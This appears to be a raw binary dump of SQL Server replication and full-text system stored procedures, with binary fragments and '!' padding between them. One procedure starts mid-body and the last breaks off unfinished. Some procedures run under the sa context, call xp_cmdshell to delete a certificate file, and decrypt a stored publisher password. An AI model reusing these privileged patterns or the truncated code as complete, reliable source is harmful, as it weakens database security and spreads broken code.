0@ P8(8hg>x>My0 8create procedure sys.sp_MSdrop_logreader_agent 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname  --Only used by 3rd party publisher
) AS
begin

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode    int
    DECLARE @job_id     binary(16)
    DECLARE @job_step_uid uniqueidentifier
    DECLARE @local_job  bit
    DECLARE @publisher_id smallint
    DECLARE @name       nvarchar(100)
    DECLARE @agent_id   int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_logreader_agent', 'distribution')
        return (1)
    end
    /*
    ** Initializations
    */
    select @publisher_id = srvid from master.dbo.sysservers where
        UPPER(srvname) = UPPER(@publisher)


    SELECT @job_id = job_id, @job_step_uid = job_step_uid, @local_job = local_job, @name = name, @agent_id = id FROM MSlogreader_agents WHERE
        publisher_id = @publisher_id AND
        publisher_db = @publisher_db AND
        publication = @publication

    -- Delete Perfmon instance
    dbcc deleteinstance ("SQL Replication Logreader", @name)

    -- Return if not exists
    IF @local_job IS NULL
        RETURN(0)

    BEGIN TRAN

    IF @local_job = 1
    BEGIN
        -- Don't drop the job for third party publications.
        if exists (select * from msdb..MSdistpublishers where 
            UPPER(name) = UPPER(@publisher) and
            thirdparty_flag = 0)
        begin                           
            IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @job_id)
            BEGIN
                -- Checks if the job name matches one that is generated 
                -- by replication
                EXEC @retcode = sys.sp_MSislogreaderjobnamegenerated
                                    @publisher = @publisher,
                                    @publisher_db = @publisher_db,
                                    @job_id = @job_id
                IF @@ERROR <> 0 
                    GOTO UNDO
                
                -- Only drop the job if the name was generated
                IF @retcode = 0
                BEGIN
                    EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @job_id,
                    										@job_step_uid = @job_step_uid
                    IF @@ERROR <> 0 or @retcode <> 0
                        GOTO UNDO
                END
            END
        end
    END

    DELETE MSlogreader_agents WHERE id = @agent_id
    IF @@ERROR <> 0 
        GOTO UNDO

    -- Remove history
    DELETE MSlogreader_history WHERE
        agent_id = @agent_id

    IF @@ERROR <> 0 
        GOTO UNDO

    COMMIT TRAN

    RETURN(0)

UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x	<<`UV<tU<N^04 8create procedure sys.sp_help_fulltext_catalog_components
as
	-- FULLTEXT MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

	-- dump all full-text components used in this database
	select ftcat.name, ftcat.fulltext_catalog_id as ftcatid, componenttype, componentname, clsid, 
	      (case when is_srvrolemember('serveradmin') = 1 then fullpath else NULL end) AS [fullpath], 
           version, manufacturer 
	from sys.fulltext_catalogs as ftcat cross apply sys.fn_ftcatcomponents(0, db_id(), ftcat.file_id) as ftcomp
0 =8--
-- Name: sp_MSrepltrigcertgrant
--
-- Description: This proc is invoked by sp_link_publication on the 
-- publisher/master db(for remote publisher) and this proc executes commands 
-- to create the authentication grants for immediate updating trigger execution
-- to work under impersonation
--
-- Parameters: See the procedure definition
--
-- Returns:  0 - succeeded
--           1 - failed
--
-- Security: Internal. no check
-- Note: This SP uses the new EXECUTE AS functionality to execute under sa context
-- as it is created under SA account
-- Note: This SP uses xp_cmdshell
-- Requires Certificate signature for catalog access
-- 
create procedure sys.sp_MSrepltrigcertgrant
(
    @mode tinyint    -- 1 = create/refresh, 2 = drop
    ,@islocalpub bit  -- local or remote publisher
    ,@certname sysname -- certificate name
    ,@targetdb sysname -- target database where authentication is needed
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@cmd nvarchar(4000)
                ,@login sysname
                ,@user sysname
                ,@dbname sysname
                ,@mssql_data_path nvarchar(255)
    --
    -- validate @mode
    --
    if (@mode not in (1,2))
        return 1
    --
    -- for remote publisher - the target database is master always
    --
    if (@islocalpub=0)
        select @targetdb = N'master'
    --
    -- validate that we are in the right db
    --
    select @dbname = db_name()
    if (@dbname != @targetdb)
    begin
        return 1
    end
    --
    -- process drop first
    -- process according to the publisher
    --
    if (@islocalpub = 1)
    begin
        --
        -- local publisher
        -- drop user on target db created from the certificate login if it exists
        --
        select @user = N'REPLCERTUSR_' + @certname
        if exists (select u.name, c.name 
                    from sys.database_principals u join master.sys.certificates c 
                        on u.sid = c.sid
                    where u.name = @user
                        and c.name = @certname)
        begin
            select @cmd = N'drop user ' + quotename(@user)
            exec (@cmd)
            if (@@error != 0)
                return 1
        end
    end
    --
    -- drop login
    --
    select @login = N'REPLCERTLOGIN_' + @certname
    if exists (select u.name, c.name 
                from master.sys.server_principals u join master.sys.certificates c 
                    on u.sid = c.sid
                where u.name = @login
                    and c.name = @certname)
    begin
        select @cmd = N'use master drop login ' + quotename(@login)
        exec (@cmd)
        if (@@error != 0)
            return 1
    end
    --
    -- drop the certificate now
    --
    if exists (select name from master.sys.certificates where name = @certname)
    begin
        select @cmd = N'use master drop certificate ' + quotename(@certname)
        exec (@cmd)
        if (@@error != 0)
            return 1
    end
    --
    -- if we are in drop mode
    -- we are done
    --
    if (@mode = 2)
        return 0
    --
    -- create the certificate on from backup dump
    -- server should provide a mechanism to copy certificates across databases
    --
    exec @retcode = sys.sp_MSget_setup_paths @data_path = @mssql_data_path output
    if (@retcode != 0 or @@error != 0 or @mssql_data_path = N'')
        return 1
    select @cmd = N'use master create certificate ' + quotename(@certname) + ' from file = N''' + sys.fn_replreplacesinglequote(@mssql_data_path + N'\DATA\' + @certname) + '.cer'' '
    exec (@cmd)
    if (@@error != 0)
        return 1
    --
    -- create login on from the certificate on master
    --
    select @login = N'REPLCERTLOGIN_' + @certname
    select @cmd = N'use master create login ' + quotename(@login) + ' from certificate ' + quotename(@certname)
    exec (@cmd)
    if (@@error != 0)
        return 1
    --
    -- process according to the publisher
    --
    if (@islocalpub = 1)
    begin
        --
        -- local publisher
        -- create user on target db from the login
        --
        select @user = N'REPLCERTUSR_' + @certname
        select @cmd = N'create user ' + quotename(@user) + ' for login ' + quotename(@login)
        exec (@cmd)
        if (@@error != 0)
            return 1
        --
        -- and grant the db level authentication for this certificate user
        --
        select @cmd = N'grant connect to ' + quotename(@user)
                                + N' grant authenticate to ' + quotename(@user)
        exec (@cmd)
        if (@@error != 0)
            return 1
    end
    else
    begin
        --
        -- remote publisher - target is master
        -- and grant the server level authentication
        --
        select @cmd = N'grant authenticate server to ' + quotename(@login)
        exec (@cmd)
        if (@@error != 0)
            return 1
    end
    --
    -- delete the certificate dump
    --
    select @cmd = N'del "' + sys.fn_escapecmdshellsymbolsremovequotes(@mssql_data_path + N'\DATA\' + @certname) + '.cer" '
    exec master.dbo.xp_cmdshell @cmd, no_output
    --
    -- all done
    --
    return 0
end
0yp P8Wh|>}}E~0@ T8create procedure sys.sp_MSreplrole
@name sysname,
@operation nvarchar(4)
as
declare @retcode int
-- Add/Drop when proper.
if @operation = 'add'
begin
    if database_principal_id(@name) is null
    begin
        exec @retcode = sys.sp_addrole @name
        IF @@ERROR <> 0 or @retcode <> 0
            RETURN (1)
    end
end
else if @operation = 'drop' 
begin
    if database_principal_id(@name) is not null
    begin
        exec @retcode = sys.sp_droprole @name
        IF @@ERROR <> 0 or @retcode <> 0
            RETURN (1)
    end
end
0at 8
create procedure sys.sp_MSretrieve_publication 
    @publication sysname
AS
declare @retcode int
/*
** Security Check
*/
exec @retcode = sys.sp_MSreplcheck_publish
if @@ERROR <> 0 or @retcode <> 0
    return(1)

select 'Name' = name, 
        'database ' = db_name(), 
        'publisher' = publishingservername(), 
        'type' = case when LOWER(repl_freq)=1 then 'Snapshot' else 'Transactional' end, 
        'description ' = description, 
        'status ' = status,  
        'allow known pull subscription' = allow_pull, 
        'allow immediate-updating subscription ' = allow_sync_tran,
        'allow anonymous ' = allow_anonymous,  
        'allow queued-updating subscription ' = allow_queued_tran, 
        'allow snapshot files FTP downloading' = enabled_for_internet, 
        'third party' = sync_method 
    from syspublications
    where name = @publication
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!x(`U<V&t]0 8
create procedure sys.sp_sparse_columns_100_rowset
(
    @table_name     sysname = NULL,
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL,
    @schema_type    int     = 1
)
as
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE, -- Used by Katmai+ clients
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG,
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA,
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME,
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG,
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA,
        COLLATION_NAME          = s_cv.COLLATION_NAME,
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID,
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS,
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION,
        IS_COMPUTED             = s_cv.IS_COMPUTED,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_cv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_cv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME         = s_cv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME      = s_cv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME       = s_cv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME             = s_cv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME= s_cv.SS_UDT_ASSEMBLY_TYPENAME,
        SS_IS_SPARSE            = s_cv.SS_IS_SPARSE,
        SS_IS_COLUMN_SET        = s_cv.SS_IS_COLUMN_SET

    from
        sys.spt_sparse_columns_view s_cv

    where
        (@table_name is null or s_cv.TABLE_NAME = @table_name) and 
        (@table_schema is null or schema_id(@table_schema) = s_cv.schema_id) and
        (@column_name = s_cv.COLUMN_NAME or @column_name is null) and
        (	
			(@schema_type=1) or
			(@schema_type=2 and (s_cv.SS_IS_SPARSE=1 and objectproperty(s_cv.object_id, 'tablehascolumnset')=1))
        )

    order by 1, 2, 3, 7
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`.
h<H	W#7u^0s 8create procedure sys.sp_unlink_publication 
(
    @publisher sysname         -- publishing server name
    ,@publisher_db sysname    -- publishing database name
    ,@publication sysname      -- publication name
    ,@reserved nvarchar(10)=null -- 'drop all for all subscriptions'
)
as
begin
    set nocount on
    declare @retcode int
            ,@publisherlinkusertodrop sysname
            ,@objidtodrop int
            ,@cmd nvarchar(200)
    
    --
    -- initialize
    --
    select @retcode = 0
        ,@publisherlinkusertodrop = null

    exec @retcode = sys.sp_unlink_publication_internal
        @publisher = @publisher
        ,@publisher_db = @publisher_db
        ,@publication = @publication
        ,@reserved = @reserved
        ,@publisherlinkusertodrop = @publisherlinkusertodrop output

    if (@retcode != 0 or @@error != 0)
        return (1)
  
    -- 
    -- Drop existing synctran triggers
    -- This must be done before dropping the link user
    --
    if object_id('MSreplication_objects') is not null
    begin 
        DECLARE #cur_trg CURSOR LOCAL FAST_FORWARD FOR
            SELECT object_id(object_name) FROM MSreplication_objects 
                where object_type=N'T' 
                and publication = @publication
                and publisher_db = @publisher_db
                and publisher = UPPER(@publisher) for read only
        open #cur_trg
        fetch #cur_trg into @objidtodrop
        
        while (@@fetch_status <> -1)
        begin
            exec @retcode = sp_MSdrop_object @object_id=@objidtodrop
            
            if @@error <> 0 or @retcode <> 0
            begin
                close #cur_trg
                deallocate #cur_trg
                return(1)
            end

            fetch next from #cur_trg into @objidtodrop
        end
        
        close #cur_trg
        deallocate #cur_trg
    end


    if @publisherlinkusertodrop is not null
    begin
        exec @retcode = sys.sp_dropuser @name_in_db = @publisherlinkusertodrop
        if @@error <> 0 or @retcode <> 0
            return (1)
    end
    return 0
end
0 D8Dh}
12~
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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 1
        end
        if @@ERROR <> 0 or @retcode <> 0
        begin
            ROLLBACK TRANSACTION
            return (1)
        end
    end
    --
    -- Processing for Publisher RPC info in MSsubscription properties
    --
    select @publogin = sp.publisher_login 
            ,@pubencpassword = sp.publisher_password
            ,@pubsecuritymode = sp.publisher_security_mode
            ,@publisherlink = sp.publisherlink
            ,@updatemode = sa.update_mode
    from MSsubscription_properties as sp join MSsubscription_agents as sa
        on upper(sp.publisher) = upper(sa.publisher)
            and sp.publisher_db = sa.publisher_db
            and sp.publication = sa.publication
    where upper(sa.publisher) = upper(@publisher)
        and sa.publisher_db =  @publisher_db
        and sa.publication = @publication
    --
    -- Process only for Immediate updating cases
    --
    if (@updatemode in (1,3,5) and @dump_cmds = 0) 
    begin
        --
        -- if there is an old entry - refresh it
        --
        if (@pubsecuritymode is not null)
        begin
            --
            -- we have an entry with publisher link information
            --
            if (@pubsecuritymode in (0,2) and @publisherlink is null)
            begin
                --
                -- Shiloh format -we need to refresh
                -- unencrypt the password
                --
                if (@pubencpassword is not null)
                begin
                    exec @retcode = sys.sp_MSrepldecrypt @pubencpassword output
                    IF @@error <> 0 OR @retcode <> 0
                    begin
                        ROLLBACK TRANSACTION
                        return (1)
                    end
                end
                --
                -- Refresh the link information
                --
                exec @retcode = sys.sp_link_publication
                            @publisher = @publisher,
                            @publisher_db = @publisher_db,
                            @publication = @publication,
                            @security_mode = @pubsecuritymode,
                            @login = @publogin,
                            @password = @pubencpassword,
                            @distributor = @distributor
                if @@ERROR <> 0 or @retcode <> 0
                begin
                    ROLLBACK TRANSACTION
                    return (1)
                end
            end
        end -- @pubsecuritymode is not null
    end -- @updatemode in (1,3,5)
    --
    -- table should not be part of merge replication
    --
    if exists (select * from sys.tables where 
            is_merge_published = 1 and
            object_id = @object_id)
    begin
        ROLLBACK TRANSACTION
        raiserror(21063, 16, 1, @qualname)
        return (1)
    end
    
    --
    -- Drop all replication triggers on the source object
    -- We should drop all because we don't support updatable subscriptions to 
    -- multiple publications on same dest table.
    --
    declare #object_cursor CURSOR LOCAL FAST_FORWARD for 
        select o.object_name, st.object_id 
            from dbo.MSreplication_objects o 
                join sys.triggers st 
                    on o.object_name = st.name
                    and st.parent_id = @object_id 
                    and o.object_type = 'T'

    OPEN #object_cursor
    FETCH #object_cursor INTO @old_name, @old_id
    WHILE (@@fetch_status <> -1)
    BEGIN
        -- Cleanup identity range table
        select @parent_obj = 0
        select @parent_obj = parent_object_id from sys.objects where object_id = @old_id
        -- for @dump_cmds = 0, we're only regening triggers, so we don't clear out the identity range table
        if object_id(N'dbo.MSsub_identity_range') is not null and @dump_cmds = 0 
            delete dbo.MSsub_identity_range where objid = @parent_obj

        -- Drop the trigger
        exec @retcode = sys.sp_MSdrop_object 
            @object_id = @old_id
        if @retcode <> 0 or @@error <> 0
            goto UNDO
        delete from dbo.MSreplication_objects where object_name=@old_name
        FETCH #object_cursor INTO @old_name, @old_id
    END
    CLOSE #object_cursor
    DEALLOCATE #object_cursor

    --
    -- Generate trigger names
    -- sp_addsynctriggerscore depends on these trigger name prefix, both to change both if need to
    --
    select @trigname = RTRIM(SUBSTRING(@sub_table,1,110))
    select @ins_trig = N'trg_MSsync_ins_' + @trigname
            ,@upd_trig = N'trg_MSsync_upd_' + @trigname
            ,@del_trig = N'trg_MSsync_del_' + @trigname
    --
    -- check uniqueness of names and revert to ugly guid-based name if friendly name already exists
    --
    if object_id(@ins_trig, 'TR') is not NULL
        or object_id(@upd_trig, 'TR') is not NULL
        or object_id(@del_trig, 'TR') is not NULL
    begin
        declare @guid_name nvarchar(36)
        select @guid_name =  convert (nvarchar(36), newid())
        select @ins_trig = N'trg_MSsync_ins_' + @guid_name
                ,@upd_trig = N'trg_MSsync_upd_' + @guid_name
                ,@del_trig = N'trg_MSsync_del_' + @guid_name
    end
    -- last cleanup before calling sp_addsynctriggerscore
    -- remove trigger entries from MSreplication_objects that do not exist any more
    delete dbo.MSreplication_objects 
    where (object_name in (@ins_trig,@upd_trig,@del_trig)
            -- this allows us to do a name comparsision without schema qualification
            or object_name not in (select name from sys.triggers)) 
        and object_type = N'T'
    if @@error <> 0
        goto UNDO
    --
    -- call the the core proc to create triggers, this only happens during snapshot
    -- afterwhich DDL will just post the core proc along
    --
    exec @retcode = sys.sp_addsynctriggerscore @sub_table  = @sub_table
                                ,@sub_table_owner = @sub_table_owner
                                ,@publisher = @publisher
                                ,@publisher_db = @publisher_db
                                ,@publication = @publication
                                ,@ins_proc = @ins_proc
                                ,@upd_proc = @upd_proc
                                ,@del_proc = @del_proc
                                ,@cftproc = @cftproc
                                ,@proc_owner = @proc_owner
                                ,@identity_col = @identity_col
                                ,@ts_col = @ts_col
                                ,@filter_clause = @filter_clause
                                ,@primary_key_bitmap = @primary_key_bitmap
                                ,@identity_support = @identity_support
                                ,@independent_agent = @independent_agent
                                ,@pubversion = @pubversion
                                ,@ins_trig = @ins_trig
                                ,@upd_trig = @upd_trig
                                ,@del_trig = @del_trig
                                ,@dump_cmds = @dump_cmds
                                --omit @alter to use the default (0 -- creation mode)
    if @retcode <> 0 or @@error <> 0
        goto UNDO
    --
    -- Mark the table for warnings in BCP
    --
    EXEC %%Relation(ID = @object_id).SetSyncTranSubscribe(Value = 1)
    --
    -- commit tran
    --
    commit tran
    --
    -- Ignore errors.
    --
    exec sys.sp_MSsub_cleanup_orphans
    --
    -- restore the trancount if necessary
    --
    if (@loctrancount > 0)
    begin
        while (@@trancount < @loctrancount)
            begin tran
    end
    --
    -- all done
    --
    return (0)
UNDO:
    if @@trancount <> 0
        rollback tran
    return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(YA`vzcreate procedure sys.sp_addsynctriggerscore (
    @sub_table       sysname,            -- table name 
    @sub_table_owner sysname,            -- table owner
    @publisher      sysname,            -- publishing server name
    @publisher_db   sysname,            -- publishing database name. If NULL then same as current db
    @publication    sysname,            -- publication name.
    @ins_proc       sysname,
    @upd_proc       sysname,
    @del_proc       sysname,
    @cftproc        sysname,
    @proc_owner        sysname,
    @identity_col   sysname = 'NULL', 
    @ts_col         sysname = 'NULL',
    @filter_clause  nvarchar(4000) = 'NULL',
    @primary_key_bitmap  varbinary(4000),
    @identity_support bit = 0,
    @independent_agent bit = 0
    ,@pubversion int = 1    -- 1 = when this call is generated by pre 80SP3 publishers, 2 = 80SP3 or later
    ,@ins_trig    sysname = NULL  -- null coming from alter, non-null from snapshot
    ,@upd_trig   sysname = NULL -- null coming from alter, non-null from snapshot
    ,@del_trig    sysname = NULL -- null coming from alter, non-null from snapshot 
    ,@alter bit = 0  -- 1 means this came from alter table, certain checks should be avoided
    ,@dump_cmds bit = 0 -- 1 = we want to dump trigger creation scripts for recreation in sp_link_publication
)
AS
BEGIN
    set nocount on

    declare @dbname                sysname
                ,@retcode                int
                ,@cmd                    nvarchar(max)
                ,@bitmap_str                varchar(8000)
                ,@object_id int
                ,@constraint_name        sysname
                ,@qualname            nvarchar(540)
                ,@quoted_name            nvarchar(540)
                ,@ftscolnull bit
                ,@fidentcolnull bit
                ,@qual_ins_trig            nvarchar(540)
                ,@qual_upd_trig            nvarchar(540)
                ,@qual_del_trig            nvarchar(540)
                ,@fprepcertonsub bit
                ,@fgrantcertontarget bit
                ,@certname sysname
                ,@contextuser sysname
                ,@pubsecuritymode int
                ,@updatemode int
                ,@islocalpub bit
                ,@fupdatetrigmetadata bit

    select     @fidentcolnull = case when (@identity_col in ('null', 'NULL')) then 1 else 0 end
                ,@ftscolnull = case when (@ts_col in ('null', 'NULL')) then 1 else 0 end
                ,@fprepcertonsub = 0
                ,@fgrantcertontarget = 0
                ,@islocalpub = case when (upper(@publisher) = upper(publishingservername())) then 1 else 0 end
                ,@fupdatetrigmetadata = 0

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)
    --
    -- Initialize
    --
    select @updatemode = update_mode
    from dbo.MSsubscription_agents
    where upper(publisher) = upper(@publisher)
        and publisher_db =  @publisher_db
        and publication = @publication
    --
    -- Check if we need to proceed
    --
    if (@updatemode = 0)
    begin
        --
        -- this subscription is a read only subscription
        --
        return 0
    end
    --
    -- qualify the destination table
    --
    if lower(@sub_table_owner) = N'null'
        select @qualname = QUOTENAME(@sub_table)        
    else
        select @qualname = QUOTENAME(@sub_table_owner) + N'.' + QUOTENAME(@sub_table)

    --
    -- begin transaction for the processing
    --
    BEGIN TRANSACTION
    -- Verify that table exists 
    select @object_id = object_id (@qualname)
    if not (@object_id is null)
    begin
        EXEC %%Object(MultiName = @qualname).LockMatchID(ID = @object_id, Exclusive = 1, BindInternal = 0)
        --EXEC %%Object(MultiName = @qualname).LockExclusiveMatchID(ID = @object_id)
        if @@error <> 0
            select @object_id = null
    end

    if @object_id is null
    begin
        -- Save point not supported in distributed txn, explicitly or escalated
        raiserror(20507, 16, 1, @qualname, 'sp_altersynctriggerscore')
        goto UNDO
    end    
    --
    -- determine if we should pass @cftproc to scripting of synctran trigger
    -- Check if the subscription needs scripting for queued replication. 
    -- For publishers that are pre 80SP3 - cftproc should not be null
    -- that takes care of it. For publisher that 80SP3 or later - we need
    -- to validate the article information
    --
    -- Check the version of the publisher
    --
